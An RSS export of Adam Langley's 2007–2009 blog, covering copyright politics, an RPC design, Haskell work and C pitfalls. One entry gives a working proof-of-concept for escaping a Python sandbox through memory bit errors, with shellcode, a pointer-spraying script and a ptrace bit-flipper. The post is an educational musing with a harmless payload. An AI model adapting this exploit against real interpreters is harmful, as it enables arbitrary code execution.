<?xml version="1.0"?>

<rss version="2.0">
  <channel>
    <title>Imperialviolet</title>
    <link>http://www.imperialviolet.org</link>
    <description>Adam Langley's Weblog</description>
    <language>en-us</language>
    <lastBuildDate>Fri, 10 Apr 2009 01:23:33 UTC</lastBuildDate>
<item><link>http://imperialviolet.org/page29.html#e578</link><pubDate>Fri, 10 Apr 2009 01:20:59 UTC</pubDate><title>Entry 578</title><link>http://imperialviolet.org/page29.html#e578</link><description>
&lt;p&gt;I'll be at &lt;a href=&quot;http://www.codecon.org/2009/&quot;&gt;CodeCon&lt;/a&gt; this year.&lt;/p&gt;
</description></item><item><link>http://imperialviolet.org/page29.html#e577</link><pubDate>Tue, 22 Jan 2008 18:34:53 UTC</pubDate><title>Entry 577</title><link>http://imperialviolet.org/page29.html#e577</link><description>
&lt;p&gt;Maybe there's something to this democracy lark after all:&lt;/p&gt;

&lt;pre&gt;You will be pleased to know that this amendment was deleted from the
voting list, thus we did not vote on it. The price of liberty is eternal
vigilance!&lt;/pre&gt;

&lt;p&gt;That's from &lt;a href=&quot;http://www.tomwisemep.co.uk/&quot;&gt;Thomas Wise&lt;/a&gt;. Now I'm not a fan of UKIP - but I'm quite happy with this.&lt;/p&gt;

&lt;p&gt;Also, see comments on the &lt;a href=&quot;http://www.boingboing.net/2008/01/22/proposal-to-extend-e.html&quot;&gt;BoingBoing story&lt;/a&gt; about this win&lt;/p&gt;
</description></item><item><link>http://imperialviolet.org/page29.html#e576</link><pubDate>Mon, 21 Jan 2008 17:52:04 UTC</pubDate><title>Entry 576</title><link>http://imperialviolet.org/page29.html#e576</link><description>
&lt;p&gt;I've had a section here called &lt;a href=&quot;http://www.imperialviolet.org/mpletters.html&quot;&gt;Letters I've written to my MP&lt;/a&gt; for ages. I've not really had an MP for a while now so it's dried up a little. But fear not, stupidity hasn't left politics! Danny from the EFF &lt;a href=&quot;http://www.boingboing.net/2008/01/21/europe-stop-isp-spyi.html&quot;&gt;alerts us&lt;/a&gt; to &lt;a href=&quot;http://www.eff.org/issues/eff-europe/bono-cult-amendments#Paragraph_9a_.28new.29&quot;&gt;more stupidity&lt;/a&gt; (stupidity in bold) from the EU. However, I don't have time to get a physical letter there before the vote, so an email will have to do.

&lt;div class&quot;quote&quot;&gt;
&lt;p&gt;Dear Sir,&lt;/p&gt;

&lt;p&gt;I find myself dismayed to read the proposed amendments, numbered 80
and 82 (paragraph 9a) in the Guy Bono report which I believe comes to
the vote on Tuesday. This text is replete with misunderstandings which
are sadly all too common.&lt;/p&gt;

&lt;p&gt;Amendment 80 proposes legislative action to put the burden of
copyright infringement on Internet Service Providers by compelling
them to use filtering technologies. Thankfully I don't need to
hypothesise about the consequences of this since this experiment has
already been attempted in the United States in the 1998 Digital
Millennium Copyright Act (DMCA). Despite protections which are
probably in excess of what the proposers of this amendment would
consider reasonable, the DMCA has lead to a culture of censorship
where risk-adverse ISPs are quick to remove any claimed potential
liability and then have no incentive to consider to revise this
decision. As a short example, the Church of Scientology has
repeatedly[1] used the DMCA to hamper the work of those claiming that
it's a dangerous cult - a view shared by the German government for
one.&lt;/p&gt;

&lt;p&gt;Amendment 82 shows a gross misunderstanding of copyright law as
demonstrated by language like &quot;artists who risk seeing their work fall
within the public domain in their lifetime&quot; and &quot;consider the
competitive disadvantage posed by less generous protection terms in
Europe than in the United States&quot;. Both of these notions should have
been put to rest by the generally excellent Gowers report[2]. The
public domain is not a risk. Copyright is very much a temporary
monopoly and the public domain is the expected, and correct, fate of
copyrighted works. Gowers also notes that artists hardly benefit from
the current excessive copyright term let alone a even longer one.
Also, the competitive advantage is that foreign rightsholders earn
more by charging EU citizens for longer. The advantage exists, but
it's not to the EU citizen.&lt;/p&gt;

&lt;p&gt;Please do your utmost to remove these paragraphs from the final report
and thus save the CULT committee from ridicule.&lt;/p&gt;

&lt;p&gt;Thank you.&lt;/p&gt;


&lt;p&gt;Yours,&lt;/p&gt;

&lt;p&gt;Adam Langley&lt;/p&gt;

&lt;pre&gt;[1] http://www.politechbot.com/p-03281.html
[2] http://www.hm-treasury.gov.uk/independent_reviews/gowers_review_intellectual_property/gowersreview_index.cfm&lt;/pre&gt;
&lt;/div&gt;
</description></item><item><link>http://imperialviolet.org/page29.html#e575</link><pubDate>Mon, 21 Jan 2008 04:53:48 UTC</pubDate><title>Entry 575</title><link>http://imperialviolet.org/page29.html#e575</link><description>
&lt;p&gt;I'm currently writing an RPC layer in Haskell (and also in C since I expect
that I'll need it). I'm using libevent's tagged datastructures (which is why
you've see Haskell support for that from me), however I'm not using evrpc
because of a number of reasons. Firstly, it uses HTTP as a transport. What
troubles me about using HTTP directly as a transport layer is the in-order
limits that it imposes. The server cannot deliver replies out
of order, nor can it deliver multiple replies for a single request (at
least, not with replies to other requests mixed in), nor can it send
any unsolicited messages (e.g. lame-mode messages).&lt;/p&gt;

&lt;p&gt;Also, evrpc has no support for lameness, although that's fixable (modulo the HTTP issues). Because of all that I decided to roll my own, called RPCA (because I'm not sufficiently self-centered just to call it &lt;tt&gt;Network.RPC&lt;/tt&gt; &lt;img src=&quot;smile.png&quot; alt=&quot;:)&quot;/&gt;). I'm including part of the RPCA documentation below for comments.&lt;/p&gt;

&lt;h6&gt;RPCA Semantics&lt;/h6&gt;

&lt;p&gt;RPCA is an RPC system, but that's a pretty loose term covering everything from I2C messages to SOAP. So this is the definition of exactly what an RPCA endpoint should do.&lt;/p&gt;

&lt;p&gt;RPCA RPCs are request, response pairs. Each request has, at most, one response and every response is generated by a single request. That means, at the moment, so unsolicited messages from a server and no streaming replies.&lt;/p&gt;

&lt;p&gt;RPCs are carried over TCP connections and each RPC on a given connection is numbered by the client. Each RPC id must be unique over all RPCs inflight on that TCP connection. (Inflight means that a request has been send, but the client hasn't processed the reply yet.) A reply must come back over the same TCP connection as the request which prompted it. If a TCP connection fails, all RPCs inflight on that connection also fail.&lt;/p&gt;

&lt;p&gt;An RPC request or reply is a pair of byte strings. The first is the header, which is specific to RPCA. The only part of the header which applications need be concerned with is the error code in the reply header. The second is the payload (either the arguments in the case of a request, or the result in the case of a reply). This may be in any form of the applications' choosing, but it expects that it'll be a libevent tagged data structure.&lt;/p&gt;

&lt;p&gt;An RPC is targeted at a service, method pair. A server can export many services but each must have a unique name on that server. (A server is a TCP host + port number.) Each service can have many methods, the names of which need only be unique within that service.&lt;/p&gt;

&lt;p&gt;A Channel is an abstract concept on the client side of a way of delivering RPCs, and getting the replies back from a given server, service pair. It's distinct from a connection in that a Channel can have many connections (usually only one at a time, though) and that a Channel targets a specific service on a server.&lt;/p&gt;

&lt;p&gt;On a given server a service may be up, lame or down. There's no difference between a service which is down and a service which a server doesn't export. Services which are lame are still capable of serving requests, but are requesting that clients stop sending them because, for example, the server is about to shutdown. When a service becomes lame it sends special health messages along all inbound connections to the server, so that clients may be asynchronously notified. (Note that health messages aren't RPCs so this doesn't contradict the above assertion that there are no unsolicited RPC replies.)&lt;/p&gt;

&lt;p&gt;If a Channel is targeted at a single server, service pair, then it's free to assume that the service is immediately up. If not, the server will set the error code in the RPC replies accordingly. If a Channel is load-balancing (i.e. is has multiple possible servers that a request could be routed to) it must wait to perform a health check before routing any requests to any server. A load-balancing Channel stops routing requests to any servers which report lameness.&lt;/p&gt;

&lt;p&gt;Note that lameness is a per-service value so that some services on a server may be lame with others are up.&lt;/p&gt;
</description></item><item><link>http://imperialviolet.org/page29.html#e574</link><pubDate>Sun, 20 Jan 2008 21:55:45 UTC</pubDate><title>Entry 574</title><link>http://imperialviolet.org/page29.html#e574</link><description>
&lt;p&gt;Recent Haskell work:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://hackage.haskell.org/cgi-bin/hackage-scripts/package/binary-strict-0.2.2&quot;&gt;binary-strict: strict binary parsing, including bit parsing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://hackage.haskell.org/cgi-bin/hackage-scripts/package/fec-0.1&quot;&gt;fec: forward error correction (Reed-Solomon)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://hackage.haskell.org/cgi-bin/hackage-scripts/package/control-timeout-0.1&quot;&gt;control-timeout&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://hackage.haskell.org/cgi-bin/hackage-scripts/package/codec-libevent-0.1&quot;&gt;codec-libevent: support for libevent's tagged data structures&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description></item><item><link>http://imperialviolet.org/page29.html#e573</link><pubDate>Fri, 18 Jan 2008 19:07:37 UTC</pubDate><title>Entry 573</title><link>http://imperialviolet.org/page29.html#e573</link><description>
&lt;p&gt;So it's been really very quiet here for a while. Actually, it's been pretty much that way since I started at Google. A full time job takes up quite a lot of time and energy.&lt;/p&gt;

&lt;p&gt;Mostly my outside coding efforts have been going into &lt;a href=&quot;http://hackage.haskell.org/packages/hackage.html&quot;&gt;Hackage&lt;/a&gt; recently (think of it as the Haskell CPAN). If this work would interrest you, you probably already know about it.&lt;/p&gt;

&lt;p&gt;But what prompted me to write this was yet &lt;a href=&quot;http://www.readwriteweb.com/archives/semantic_wave_2008_free_report.php&quot;&gt;more&lt;/a&gt; &lt;a href=&quot;http://www.readwriteweb.com/archives/10_semantic_apps_to_watch.php&quot;&gt;about&lt;/a&gt; the semantic web. I think TBL's Weaving the Web and some of the various articualtions are inspiring. &lt;a href=&quot;http://www.freebase.com/&quot;&gt;Freebase&lt;/a&gt; &lt;i&gt;is&lt;/i&gt; cool.&lt;/p&gt;

&lt;p&gt;But I still don't know when the RDF model became the start and end of semantic work. The RDF model says that the semantic world is a list of (subject, relation, object) triples. There are a bunch of semi-standards building on top of that, but I see little questioning of that basic model.&lt;/p&gt;

&lt;p&gt;But it just plain doesn't make sense to me. If we consider a triple to be an arc in a graph of objects, we know the starting and end points of the arc and we have the type of the arc (the relation). But I want to know over what time period that arc is valid. The triple (Adam Langley, lives-in, London) was valid for a few years but isn't now. Also I want to know &lt;i&gt;who&lt;/i&gt; is asserting this arc, how sure are they etc. Maybe I want to say that someone has &lt;i&gt;at-least&lt;/i&gt; some number of children.&lt;/p&gt;

&lt;p&gt;This results a model something like &lt;tt&gt;[Arc]&lt;/tt&gt; (getting back to Haskell here) where an arc is &lt;tt&gt;[(Attribute, Value)]&lt;/tt&gt; (a key-value list). Without a start, end and type the arc is pretty much useless I'll admit, so those probably are required, but arcs need so much more.&lt;/p&gt;

&lt;p&gt;Rant over.&lt;/p&gt;
</description></item><item><link>http://imperialviolet.org/page29.html#e572</link><pubDate>Fri, 11 Jan 2008 22:29:58 UTC</pubDate><title>Entry 572</title><link>http://imperialviolet.org/page29.html#e572</link><description>
&lt;p&gt;For reasons that I won't go into here, someone was asking me about running untrusted code in Python. Just as a musing, I came up with the following:&lt;/p&gt;

&lt;p&gt;Although you might be able to lock down a Python interpreter so that it
wouldn't run any code that could do anything bad, you still have to remember
that you're running on a real computer. All real computers go subtly wrong and
introduce bit errors in memory. If you're very lucky, you'll find that
your server has ECC memory, but that only reduces the number of bit errors.&lt;/p&gt;

&lt;p&gt;A Python object has a common header which includes a pointer to its type object. That, in turn, contains function pointers for some operations, like &lt;tt&gt;getattr&lt;/tt&gt; and &lt;tt&gt;repr&lt;/tt&gt;. If we have a pointer to a Python object, bit errors can move that pointer back and forth in memory. If we had lots of Python objects with payloads of pointers to a fake type object, we could hope that a bit error would push one of the pointers such that we can control the type object pointer.&lt;/p&gt;

&lt;p&gt;Let's start with a bit of position independent code that prints &quot;woot&quot; and exits the process:&lt;/p&gt;

&lt;pre&gt;  SECTION .text
  BITS 32
  mov edx, 5
  mov ebx, 1
  call next
  next:
  pop ecx
  add ecx, 21
  mov eax, 4
  int 0x80
  mov eax, 1
  int 0x80
  db &quot;woot&quot;, 10&lt;/pre&gt;

&lt;p&gt;Nasm that to &lt;tt&gt;t.out&lt;/tt&gt; and we have our shellcode. Next, construct a python script that amplifies bit errors in an array of pointers in an expliot:&lt;/p&gt;

&lt;pre&gt;  import struct
  import os
  import array

  # load the shellcode
  shellcode = file('t.out', 'r').read()
  # put it in an array
  shellarray = array.array('c', shellcode)
  # get the address of the array and pack it in a pointer
  shelladdress = struct.pack('I', shellarray.buffer_info()[0])
  # replicate that pointer lots into an array
  eviltype_object = array.array('c', shelladdress * 100)
  # and get the address of that and replicate into a string
  evilstring = struct.pack('I', eviltype_object.buffer_info()[0]) * 100
  # create lots of pointers to that string
  evillist = [evilstring] * 100000
  print os.getpid()
  # Call the repr function pointer for every element in evillist for ever
  while True:
    for x in evillist:
      repr(x)
      print 'ping'&lt;/pre&gt;

&lt;p&gt;So, memory looks like this:&lt;/p&gt;
  &lt;pre&gt;[pointer pointer pointer ...] | | | V V V [String-header pointer pointer pointer] | | | V V V [pointer pointer ... ] | | V V [shellcode ]&lt;/pre&gt;

&lt;p&gt;So the size of the first level gives us a window in which bit errors can turn into exploits. The size of the second level lets us capture more bit errors (we could also have a couple of strings, in the hope that they are next to each other on the heap, so that we can catch bit-clears too). How many bits of each 32-bit pointer can we expect to be useful? Well, it's probably reasonable to have a 128K evilstring, so that's 15 bits (since changing bits 0 and 1 will screwup our alignment). So, about half of them. To test the above, I cheated and wrote a bit-error-generator:&lt;p&gt;

&lt;pre&gt;int main(int argc, char **argv) {
    const int pid = atoi(argv[1]);
    const unsigned start = strtoul(argv[2], NULL, 0);
    ptrace(PTRACE_ATTACH, pid, NULL, NULL);
    wait(NULL);
    long v = ptrace(PTRACE_PEEKDATA, pid, (void *) start + 32, NULL);
    v += 32;
    ptrace(PTRACE_POKEDATA, pid, (void *) start + 32, (void *) v);
    ptrace(PTRACE_DETACH, pid, NULL, NULL);
    return 0;
}&lt;/pre&gt;

&lt;p&gt;And here's the output:&lt;/p&gt;

&lt;pre&gt;% python test.py
  0x80633f8
  30911
  0xB7C24F0CL
  ping
  ping
  woot&lt;/pre&gt;

&lt;p&gt;Success!&lt;/p&gt;
</description></item><item><link>http://imperialviolet.org/page29.html#e571</link><pubDate>Fri, 23 Nov 2007 22:05:12 UTC</pubDate><title>Entry 571</title><link>http://imperialviolet.org/page29.html#e571</link><description>
&lt;p&gt;If you happen to want to run industrial scale document scanners under Linux, I've just open sourced the (small) driver that you'll need: &lt;a href=&quot;http://code.google.com/p/kvss905c/&quot;&gt;kvss905c on Google Code&lt;/a&gt;.&lt;/p&gt;
</description></item><item><link>http://imperialviolet.org/page29.html#e570</link><pubDate>Wed, 10 Oct 2007 16:26:08 UTC</pubDate><title>Entry 570</title><link>http://imperialviolet.org/page29.html#e570</link><description>
&lt;h6&gt;Signed numbers don't overflow in C&lt;/h6&gt;

&lt;p&gt;The title of this post is clearly daft; signed numbers are of a finite size so, of course they overflow. However, physical reality doesn't agree with the C standard which says that compilers can (and do) assume that overflow never happens. Take this, for example:&lt;/p&gt;

&lt;pre&gt;int a, b;
if (a &gt; 0 &amp;&amp; b &gt; 0 &amp;&amp; a + b &gt; 0) foo();&lt;/pre&gt;

&lt;p&gt;A compiler can remove the third test because it's redundant given the assumptions that a + b cannot overflow.&lt;/p&gt;

&lt;p&gt;Clearly, this is pretty scary stuff and it's one of the reasons that I use &lt;tt&gt;unsigned&lt;/tt&gt; everywhere. However, I'm very happy to read the &lt;a href=&quot;http://gcc.gnu.org/gcc-4.2/changes.html&quot;&gt;GCC 4.2 change log&lt;/a&gt; to see the following:&lt;/p&gt;

&lt;p class=&quot;quote&quot;&gt;New command-line options -fstrict-overflow and -Wstrict-overflow have been added... With -fstrict-overflow, the compiler may assume that signed overflow will not occur, and transform this into an infinite loop. -fstrict-overflow is turned on by default at -O2, and may be disabled via -fno-strict-overflow. The -Wstrict-overflow option may be used to warn about cases where the compiler assumes that signed overflow will not occur. It takes five different levels: -Wstrict-overflow=1 to 5. See the  documentation for details. -Wstrict-overflow=1  is enabled by -Wall.&lt;/p&gt;
</description></item><item><link>http://imperialviolet.org/page29.html#e569</link><pubDate>Thu, 05 Jul 2007 15:48:40 UTC</pubDate><title>Entry 569</title><link>http://imperialviolet.org/page29.html#e569</link><description>
&lt;h6&gt;Continuation monads for state machines&lt;/h6&gt;

&lt;p&gt;CPS (continuation-passing-style) is a code style which is often the result of the first step in compiling many Scheme like languages. Since I learned this stuff in Scheme, that's what I'm going to use in the beginning, switching to Haskell soon after.&lt;/p&gt;

&lt;p&gt;So here's a top level Scheme program&lt;/p&gt;

&lt;pre&gt;(print (fact 10))&lt;/pre&gt;

&lt;p&gt;Rather than return, each function gets a function in its argument list which is its &lt;i&gt;continuation&lt;/i&gt;. It's the function for the rest of the program which takes the result of the current function. It's always a tail-call.&lt;/p&gt;

&lt;pre&gt;(fact 10 (lambda (v) print v #exit#))&lt;/pre&gt;

&lt;p&gt;So here, &lt;tt&gt;fact&lt;/tt&gt; runs and calls its continuation with the result. This continuation is a function which prints the value and calls &lt;it&gt;its&lt;/it&gt; continuation, which terminates the program.&lt;/p&gt;

&lt;p&gt;Easy, right?&lt;/p&gt;

&lt;p&gt;So here's a continuation monad in Haskell; but a quick motivation first. What this will give us is something like a Python generator, but which we can pass values in to. So it's a state machine, but without the inverted flow of control and without threads.&lt;/p&gt;

&lt;pre&gt;newtype M o a = M ((a-&amp;gt;o)-&amp;gt;o)
nstance Monad (M o) where
  return x = M (\c -&amp;gt; c x)
  (M g)&amp;gt;&amp;gt;=f = M (\c -&amp;gt; g (\a -&amp;gt; let M h = f a in h c))
&lt;/pre&gt;

&lt;p&gt;Here, &lt;tt&gt;o&lt;/tt&gt; is the output type (the type of the values which are yielded) and &lt;tt&gt;a&lt;/tt&gt; is the input type. The monad itself is a wrapper around a function of type &lt;tt&gt;((a-&gt;o)-&gt;o)&lt;/tt&gt; - a function which takes a continuation and returns the output type of that contination. The bind method is pretty scary, but I can't explain it any better here than the code already does - I'll just end up using more letters to say the same thing. (I have to work it through every time I read it anyway.)&lt;/p&gt;

&lt;p&gt;Now we need a couple of helper functions, but first the example: we're going to build a lightswitch which takes three commands: set (with an Bool value), toggle and query:&lt;/p&gt;

&lt;pre&gt;data Result a = NewState (a-&amp;gt;Result a) | Value Bool (a-&amp;gt;Result a) | Final
data Input = Set Bool | Toggle | Query&lt;/pre&gt;

&lt;p&gt;So all our commands have to yield a value of type &lt;tt&gt;Result&lt;/tt&gt;, querying will return a &lt;tt&gt;Value&lt;/tt&gt; and the other two will return a &lt;tt&gt;NewState&lt;/tt&gt; (which isn't really a result, it just gives the new continuation of the system). &lt;tt&gt;Final&lt;/tt&gt; is there to be the value marking the end of the stream (it doesn't contain a next continuation).&lt;/p&gt;

&lt;pre&gt;yield x = M (\c -&amp;gt; Value x c)
wait = M (\c -&amp;gt; NewState c)&lt;/pre&gt;

&lt;p&gt;These functions are how we yeild values. Both are values in &lt;tt&gt;M&lt;/tt&gt; which take a continuation and return a &lt;tt&gt;Result&lt;/tt&gt; which passes that continuation back to the caller.&lt;/p&gt;

&lt;pre&gt;runM cm = \x -&amp;gt; let (M f) = cm x in f (\c -&amp;gt; Final)&lt;/pre&gt;

&lt;p&gt;This is a function which takes a first input, applies it to something which results in a continuation monad, unwraps that monad and gives it the final continuation, one which eats its given contination and gives &lt;tt&gt;Final&lt;/tt&gt;&lt;/p&gt;

&lt;pre&gt;lightswitch state v = do
  case v of
    Set state -&amp;gt; wait &amp;gt;&amp;gt;= lightswitch state
    Toggle -&amp;gt; wait &amp;gt;&amp;gt;= lightswitch (not state)
    Query -&amp;gt; yield state &amp;gt;&amp;gt;= lightswitch state&lt;/pre&gt;

&lt;p&gt;This is our lightswitch, it takes an initial state and an &lt;tt&gt;Input&lt;/tt&gt; and updates its state accordingly and returns some &lt;tt&gt;Result&lt;/tt&gt; using either &lt;tt&gt;yield&lt;/tt&gt; or &lt;tt&gt;wait&lt;/tt&gt;. It recurses forever.&lt;/p&gt;

&lt;pre&gt;step cont = do
  line &amp;lt;- getLine
    case line of
	&quot;toggle&quot; -&amp;gt; case cont Toggle of NewState cont' -&amp;gt; step cont'
    	&quot;query&quot; -&amp;gt; case cont Query of Value x cont' -&amp;gt; putStrLn (show x) &amp;gt;&amp;gt; step cont'
	otherwise -&amp;gt; putStrLn &quot;?&quot; &amp;gt;&amp;gt; step cont&lt;/pre&gt;

&lt;p&gt;Here's the code that uses the state machine. It's in the IO monad and runs a little command line where you can type in commands and see the results:&lt;/p&gt;

&lt;pre&gt;toggle
query
True
toggle
query
False&lt;/pre&gt;

&lt;p&gt;It takes a continuation (which is the state of the state machine) and applies an &lt;tt&gt;Input&lt;/tt&gt; to it to get another continuation (state of the machine). You can, of course, keep around any of these states and &quot;undo&quot; something by using an older state.&lt;/p&gt;

&lt;p&gt;And to tie it all together:&lt;/p&gt;

&lt;pre&gt;main = step $ runM $ lightswitch False&lt;/pre&gt;

&lt;p&gt;We pass &lt;tt&gt;False&lt;/tt&gt; as the initial state of the system and use runM to stick the final continuation on the end; then we have a continuation for the state machine and off we go.&lt;/p&gt;

&lt;p&gt;Hopefully that made some kind of sense. To give credit where it's due: I stole the bind method (and motivation) from &lt;a href=&quot;http://www.seas.upenn.edu/~lipeng/homepage/unify.html&quot;&gt;this paper&lt;/a&gt;.
</description></item></channel></rss>